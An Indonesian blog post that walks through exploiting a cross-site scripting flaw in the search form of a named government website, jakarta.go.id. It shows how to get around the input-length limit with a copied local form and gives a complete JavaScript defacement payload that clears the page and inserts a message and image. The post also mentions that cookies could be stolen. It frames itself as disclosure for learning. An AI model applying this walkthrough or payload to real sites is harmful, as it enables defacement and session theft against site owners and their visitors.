Monday, May 30, 2011

Situs jakarta.go.id ada bug XSS

BugLagi browsing caari cari artikel tentang pemerintah. Eh ketemu Situs Resmi Pemerintah Propinsi DKI Jakarta trus langsung di redirect ke alamat: http://jakarta.go.id/v21/home/default.asp?lg=1
Nah, lagi asik browsing, coba search engine di situs itu. Bingung kok kata yang dicari dibatesin cuma bisa sampe 17 karakter. Agak aneh memang, biasanya mesin pencari gak membatasi kita mo cari berapa karakter.
Mesin cari yg bermasalah



Trus iseng-iseng masukin kata seperti ini:
[code lang="html4strict"]

tes

[/code]
Nah, yang terjadi:
Tampilan mesin cari
Loh, kok gitu?? knapa tag HTML bisa masuk?? /:) iseng-iseng, coba ah masukin script JavaScript, siapa tau situs ini rentan XSS
Nah, permasalahannya, karena cuma dibatesin 17 karakter, jadi mesin cari di web ini gak mungkin ditulisin script spt:
[code lang="javascript"][/code]
yang notabene lebih dari 17 karakter.
Karena saya (ngakunya) webmaster, masa seeh gak tau logikanya bikin web, jadi tinggal buat aja tampilan dengan mencontek situs ini. Maka seperti biasa saya View Source (( Cuma buat pengguna Mozilla Firefox. Klo gak kebuka, bisa CTR+U, atau pilih View Source ))
Ok, terus buat file HTML yang mirip dengan mesin cari di situs tsb, terus kita ilangin perintah maxlength=”17″, terus karena saya suka XHTML jadi kode yg gak ditutup jadi saya tutup :P + tambahin nama domain di bagian action:
[code lang="html4strict"]
action="http://jakarta.go.id/v21/cari/default.asp?act=list&lg=1">
[/code]
terus beri nama terserah. Klo saya beri nama dengan jakarta.html
Nah tampilannya jadi kayak ini:
Cari Buatan Sendiri
Nah, terus coba masukin script JavaScript spt ini di dalem form input yang sudah dibuat:
[code lang="javascript"][/code]
Dan yang terjadi??? :o :”> Bisa tembus XSS
XSS berhasil
Nah, klo gitu kita coba yang agak aneh-aneh ya, masa seeh udah tau ada bug XSS malah dibiarin gitu aja. Kita coba ‘agak-agak nakal‘ ya. Coba buat script JavaScript dengan kode seperti berikut:
[code lang="javascript"]
var title = "Tes tes XSS";
var bgcolor = "#000000";
var image_url = "http://farm3.static.flickr.com/2400/1850740005_0120d0218e.jpg";
var text = "Hasil Deface Ini Semata-mata Hanya Untuk Belajar! Bagi Webmaster, mohon benahi segera. Terima Kasih";
var font_color = "#FF0000";
deface(title, bgcolor, image_url, text, font_color);
function deface(pageTitle, bgColor, imageUrl, pageText, fontColor) {
document.title = pageTitle;
document.body.innerHTML = '';
document.bgColor = bgColor;
var overLay = document.createElement("div");
overLay.style.textAlign = 'center';
document.body.appendChild(overLay);
var txt = document.createElement("p");
txt.style.font = 'normal normal bold 36px Tahoma';
txt.style.color = fontColor;
txt.innerHTML = pageText;
overLay.appendChild(txt);
if (image_url != "") {
var newImg = document.createElement("img");
newImg.setAttribute("border", '0');
newImg.setAttribute("src", imageUrl);
overLay.appendChild(newImg);
}
var footer = document.createElement("p");
footer.style.font = 'italic normal normal 12px Tahoma';
footer.style.color = '#DDDDDD';
footer.innerHTML = title;
overLay.appendChild(footer);
}
[/code]
Terus, simpan dengan ekstensi .js (untuk nama terserah, tetapi ak pake nama xss.js)
Terus tinggal masukin alamat script tadi ke dalam form input yang telah dibuat tadi. Dengan script seperti ini:
[code lang="javascript"][/code]
Nah jadilah tampilan seperti ini:
Tampilan deface untuk belajar
Untuk kamu yang mo coba, ak sudah upload file untuk mencoba:
jakarta.html
Parahnya, situs ini juga gak bisa ngenalin metode $_POST dan $_GET pada metode REQUEST, jadi bisa diinject dengan membuat alamat URI seperti ini:
Tes XSS
Untuk semuanya, saya bukan bermaksud sombong, sok menjadi hacker, dan sebagainya. Saya cuma ingin Anda tau untuk kemajuan kita bersama. Untuk webmaster jakarta.go.id semoga bisa dapat cepat menutup bug ini. Berbahaya jika orang lain malah mengambil isi cookies yg ada di web tsb dengan XSS. Buat temen-temen yg blogger, klo ada yg kenal sama webmasternya coba hubungi :)] dia. Terima Kasih

sumber: ardy.or.id

No comments: